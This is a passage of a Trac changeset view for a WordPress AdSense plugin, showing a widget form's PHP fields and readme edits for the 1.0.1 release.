strip_tags($instance['adtype']); ?> 
    237265            <p>Title: <input class="widefat" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo attribute_escape($title); ?>" /></p> 
    238266            <p>Ad Type: (1-5) <input class="widefat" name="<?php echo $this->get_field_name('adtype'); ?>" type="text" value="<?php echo attribute_escape($adtype); ?>" /></p> 
  • adsenseoptimizer/trunk/readme.txt

    r224510 r225066  
    55Requires at least: 2.8 
    66Tested up to: 2.9 
    7 Stable tag: 1.0 
     7Stable tag: 1.0.1 
    88 
    99Ad Google Adsense Ads to your blog. Best Adsense Plugin !  
     
    1111== Description == 
    1212 
    13 Automatically ad Google Adcode to your Blog. Here are some of the reasons why this plugin is outstanding: 
     13Automatically ad Google Adcode to your Blog. Here are some of the easons why this plugin ist outstanding: 
    1414 
    1515* Different injection for single pages and pages with more Posts. All other solutions make ugly pages and break the google program policy by adding to many ads!! 
     
    3232* get rich  
    3333 
    34 Adsenseoptimizer requires PHP5 and Wordpress 2.8 or higher !! 
    35  
    3634 
    3735== Other == 
     
    4139You can also trigger an ad via the widget or via calling the php adopt function. For that also see the [PluginPage](http://adsense.losmuchachos.at/ "Plugin Page").  
    4240 
    43  
    44  
     41== Version history == 
     421.0.1  - Added color palettes and standard values for option setting for easier and faster costumization. 
Note: See TracChangeset for help on using the changeset viewer.